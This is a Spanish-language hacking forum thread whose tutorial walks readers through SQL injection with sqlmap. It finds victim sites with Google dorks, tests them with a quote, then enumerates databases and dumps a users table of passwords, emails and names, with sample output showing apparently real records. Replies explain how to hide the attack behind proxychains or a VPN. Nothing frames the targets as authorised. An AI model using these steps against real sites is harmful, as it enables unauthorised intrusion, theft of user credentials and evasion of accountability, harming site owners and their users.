Inyección SQL vía "Sqlmap".

Iniciado por Z3N, Mayo 14, 2014, 10:29:34 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola, queridos usuarios de Underc0de, hoy les traigo mi primer tutorial.

Bueno, empecemos...

¿Que és sqlmap?


Sqlmap es una herramienta desarrollada en Python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más.
Su web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Descarga : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Yo voy a usarlo en BackTrack 5 r3, si tiene Windows tendrán que instalar Python ya que esta codeado en ese lenguaje.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Comandos básicos

-u url donde vamos a realizar la inyección,por ejemplo:"www.sitio.com/index.php?id=2"
-p Parámetro de la url que inyectaremos.
--dbs Muestra todas las base de datos de la web
-D Selecciona el nombre de la base de datos a la que harás la consulta
--tables Muestra las tablas de la base de datos seleccionada
-T Conexión a una tabla especifica
--columns Muestra las columnas de la tabla que seleccionamos
--dump Hace un volcado de datos de ficheros .csv de la tabla seleccionada, mostrara toda la informacon de las tablas
--dbms Con este parámetro podemos seleccionar el motor de base de datos que usa para hacer las pruebas de errores ejemplo:  SQL, MySQL, ORACLE,etc.
Ya que sabemos los comando basicos vamos a la practica.

Empecemos

1. Bien, una vez estemos en nuestro BackTrack 5 r33 abrimos nuestra terminal.
En la terminale escribimos esto:

Citarcd /pentest/database/sqlmap/

2. Después debemos buscar un objetivo al cual queremos "hackear".
Podemos utilizar una dork como está:

Citarallinurl: /news.php?id=
allinurl: /article.php?id=
allinurl: /noticia.php?id=

3. Una vez que tengamos nuestro objetivo comprobamos si hay algún fallo, lo comprobamos con una comilla al final: '

Ejemplo:

CitarNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta'

Sí sale un error es que hay un fallo de seguridad y significa que si o si podremos hacer una inyección sql.

4. Ahora en nuestra terminal escribimos:

Citar./sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --dbs

Y empezará a analizar...

5. Saldrán varias bases de datos ejemplo:

Citaravailable databases [2]:
  • information_schema
  • connectdb
Entonces elijemos la que creamos conveniente en esté caso: connectdb.

Una vez que hayamos elegido la db escribimos esto en nuestra terminal:

Citar./sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -D aquívaladb --tables

Y empezará a escanear las tablas...

6. Entonces cuando las haya escaneado saldrá algo así:

CitarDatabase: connectdb
[20 tables]
+-------------------+
| connect_cargos      |
| connect_ciudades    |
| connect_contacto    |
| connect_contenido   |
| connect_contratista |
| connect_documentos  |
| connect_ds          |
| connect_empleo      |
| connect_enlaces     |
| connect_errores     |
| connect_estados     |
| connect_extras      |
| connect_log         |
| connect_media       |
| connect_rextras     |
| connect_rsecciones  |
| connect_rtagcloud   |
| connect_secciones   |
| connect_tagcloud    |
| connect_usuarios    |
+-------------------+

7. Bien, ahora lo que haremos será escanear las columnas de la tabla usuarios ya que es la que nos interesa, para eso ponemos lo siguiente en nuestro terminal:

Citar./sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -D aquívaladb -T aquívalatabladeusuarios --columns

Y empezará a analizar...

8. Bien, una vez lo analize nos saldrá algo parecido a esto:

CitarDatabase: connectdb
Table: connect_usuarios
[9 columns]
+-----------------------+-----------------+
| Column                | Type            |
+-----------------------+-----------------+
| apellido_usuarios     | varchar(45)     |
| clave_usuarios        | varchar(40)     |
| email_usuarios        | varchar(255)    |
| id_usuarios           | int(2) unsigned |
| institucion_usuarios  | varchar(45)     |
| nombre_usuarios       | varchar(45)     |
| permisos_usuarios     | tinyint(4)      |
| telf_usuarios         | int(11)         |
| ultimoacceso_usuarios | datetime        |
+-----------------------+-----------------+

Bien, ahora si queremos todo el contenido de está columna lo que haremos será poner esto en la terminal:

Citar./sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -D aquívaladb -T aquívalatabladeusuarios --dump

Pero, en esté caso solo necesitamos saber la tabla de clave_usuarios, email_usuarios, id_usuarios y nombre_usuarios.

Por lo tanto ponemos en la terminal:

Citar./sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -D aquivaladb -T aquívalatabladeusuarios -C "clave_usuarios,email_usuarios,id_usuarios,nombre_usuarios" --dump

9. Bien, después de eso ya habremos obtenido los datos específicos de cada usuario.

Y por lo tanto saldrá algo así:

CitarDatabase: connectdb
Table: connect_usuarios
[3 entries]
+-------------------+----------------------------+-----------------+---------------+
| clave_usuarios | email_usuarios             | id_usuarios |                  nombre_usuarios |
+-------------------+----------------------------+-----------------+---------------+
| Olivo             | No tienes permitido ver los links. Registrarse o Entrar a mi cuenta |     1  |                           | ernesto       |
| Gimenez           | [email protected]        |   4 |                            | lugimenez    |
| Gonzalez Aviles   | [email protected]      | 11 |                                | gonzal    |
+-------------------+----------------------------+-----------------+---------------+

Bien, eso es todo, espero que les haya gustado...
Sí no lo han entendido les dejo un videotutorial que encontre en google para la ocasion, ya que yo ahora mismo no tengo tiempo para hacer ningún video tutorial..

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos, Jeremy López.

¿ Como usamos proxys para hacer anónimo el ataque ? ;)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¿ Como usamos proxys para hacer anónimo el ataque ? ;)

Puedes usar proxychains, que es lo que yo uso y va muy bien.

Puedes leer esto para saber como se instala y configura: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una vez configurado podemos comprobar la ip así: proxychains curl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una vez hayamos comprobado que nos cambia la IP solo bastaría ejecutar: proxychains ./sqlmap.py ....

Un saludo!

Blackdrake



¿Podría servir el programa: "HotSpot Shield" Para realizar las inyecciones sin que obtengan tus datos y tal?

Sí, podrías usar Hotspot porque es una VPN y ocultará tu dirección IP.


Saludos

Enviado desde mi Smartphone

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Sí, podrías usar Hotspot porque es una VPN y ocultará tu dirección IP.


Saludos

Enviado desde mi Smartphone

Julio 29, 2014, 03:20:05 AM #6 Ultima modificación: Julio 29, 2014, 08:34:02 AM por ANTRAX
Es una cadena de proxys lo que mencionas, Hotspot no tiene ese mismo funcionamiento, es una VPN.

Y deberías de usarlo en kali porque el proxy no pasa a través de las interfaces de Red, Virtualbox utiliza una interfaz de Red virtual con sus propias direcciones.


Saludos

Enviado desde mi Smartphone

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Es una cadena de proxys lo que mencionas, Hotspot no tiene ese mismo funcionamiento, es una VPN.

Y deberías de usarlo en kali porque el proxy no pasa a través de las interfaces de Red, Virtualbox utiliza una interfaz de Red virtual con sus propias direcciones.


Saludos

Enviado desde mi Smartphone